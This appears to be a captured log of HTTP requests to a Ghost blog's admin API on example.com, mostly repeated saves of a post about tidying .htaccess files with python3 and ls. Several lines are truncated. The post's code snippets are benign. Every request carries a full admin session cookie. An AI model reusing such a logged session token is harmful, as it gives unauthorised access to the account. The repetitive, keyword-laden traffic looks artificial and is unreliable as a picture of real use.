\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8119", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27Shell+tips+%26+.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8147", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/assets/code-editor-view-BY_ieC4h.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-CxXAu_cv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DbQ0Bmfy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D9v2t9Oj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DOtgfBo2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8206", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same 